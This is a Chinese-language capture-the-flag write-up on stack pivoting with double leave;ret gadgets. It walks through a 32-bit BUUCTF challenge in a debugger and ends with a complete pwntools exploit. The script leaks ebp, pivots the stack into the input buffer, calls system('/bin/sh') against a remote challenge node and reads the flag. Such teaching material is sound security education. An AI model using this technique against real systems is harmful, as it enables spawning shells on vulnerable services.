栈迁移
题目:BUUCTF在线评测 (buuoj.cn)
知识点:栈迁移
-
使用情况:题目中有栈溢出,但是 栈溢出的范围 有限,导致构造的ROP链不能完全写入到栈中,此时需要进行栈迁移,将栈迁移到能接受更多数据的位置(改变相继sp、bp寄存器的值),位函数调用、传参构造一个新的栈空间。
-
函数调用时,无论传参、存bp值还是存返回值都是用栈完成(以32位为例),在普通的栈溢出情况下构造ROP也无非是重新为函数的调用构造了一个 新栈 ,而 栈的位置由sp寄存器 的值确定。
-
要改变sp、bp寄存器,拿必定不能使用程序原先在栈上保存的bp寄存器值,所以要将其 覆盖掉 ,如何改变sp和bp即为栈迁移的关键。
-
改变sp、bp的关键在于函数退出时的 leave;ret -> mov sp,bp;popbp 指令,这组指令通常是被用来恢复函数的调用的栈帧,时程序返回后仍能正常运行,其与函数开头的 push;mov指令(用来生成栈帧)相反,先看这篇了解栈帧的相关知识 PWN入门–栈溢出_pwn栈溢出-CSDN博客:
-
改变sp、bp需要用到 两层leave;ret 指令,将我们用来覆盖的值传递给sp寄存器,因为一层leave;ret 指令只能将bp寄存器的值改变,无法改变sp寄存器(原因:利用栈溢出无法在 mov sp,bp 指令前直接修改bp寄存器),但是第二层leave;ret 可以借助第一次修改的bp寄存器值来更新sp寄存器。因此,可以用 覆盖值 (覆盖掉bp寄存器指向的栈空间上的值)来更新sp寄存器。
-
以该例题为例子进行调试:
-
进入vul函数时,栈上的状态:
-
可见bp寄存器中存储着地址 0xffffcfd8(调用者的sp寄存器值),bp所指向的栈空间上的值为 0xffffcfe8 (调用者的sp寄存器值,指向栈低)。
-
此时输入0x30个字符来覆盖bp和其下面的返回值:
-
可见bp寄存器指向的栈空间已经被覆盖(数据随便输入,仅实验用),后面的函数返回地址也被修改,此时执行最后的 leave;ret 指令,观寄存器的变化,可见bp寄存器的值已经被我们用来覆盖的值替换了,但是sp寄存器的值任然正常(因为push bp和ret,导致sp寄存器在原bp寄存器的基础上+8):
-
此时如果将返回值替换为一组 leave;ret地址,修改ip值,再执行一次leave,那么sp寄存器将变化为 bp寄存器中的值+4 ,于是完成栈迁移过程,所以 新的返回值 就在 (bp)+4地址处,执行ret指令即可改变ip为该返回值,调用该处函数:
-
第一次 leave;ret :
-
第二次 leave;ret :
-
题解:
-
vul函数中read函数值给了0x30个输入空间,只能覆盖到函数的返回值处(前面调试过),虽然存在后门函数hack,但是其参数不是 /bin/sh,在构造ROP时需要修改参数,者导致ROP链的长度超过了read的读取范围,一次考虑栈迁移:
-
栈迁移的位置因考虑在read的读取范围之内,首先应该考虑栈迁移的目标位置target,直接选择输入s的首地址即可,在 bp-0x38 处,所以首先需要 泄漏数bp处栈上 的值:
-
printf函数将s以字符串的形式输出,遇到空白符才终止,所以只要将分配给s的空间全部填满即可泄漏bp处的地址,gbd调试如下:
-
迁移完成后,ret的返回值就在bp-0x38+4处,调用后函数的返回值就在bp-0x38+4+4(随便填),传递的 参数的地址 (参数“/bin/sh”需要手动写入,地址需要手动计算相对于bp的偏移bp-0x38+4+4+4+4)就放在bp-0x38+4+4+4,“/bin/sh”放在地址 bp-0x38+4+4+4+4 处。
-
EXP如下:
from pwn import * # from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') p=remote('node5.buuoj.cn',28101) flag = [] sys_addr = 0x08048400 leave_ret = 0x08048562 p.recvuntil("Welcome, my friend. What's your name?\n") #先泄漏出ebp地址,printf以字符串形式输出s,直到遇到空白符停止,所以可以泄漏ebp的值 payload1= 0x20*b"a"+b"b"*0x8 p.send(payload1) p.recvuntil("b"*0x8) ebp_addr=u32(p.recv(4)) log.success('ebp==>'+hex(ebp_addr)) #进行栈迁移 payload2 = (b"aaaa"+p32(sys_addr)+p32(0)+p32(ebp_addr-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38) + p32(leave_ret) p.send(payload2) p.recvuntil(b'Hello, aaaa\n') p.sendline(b'cat flag') flag.append(p.recv().decode()[0:len(flag)-1]) p.interactive() print(flag)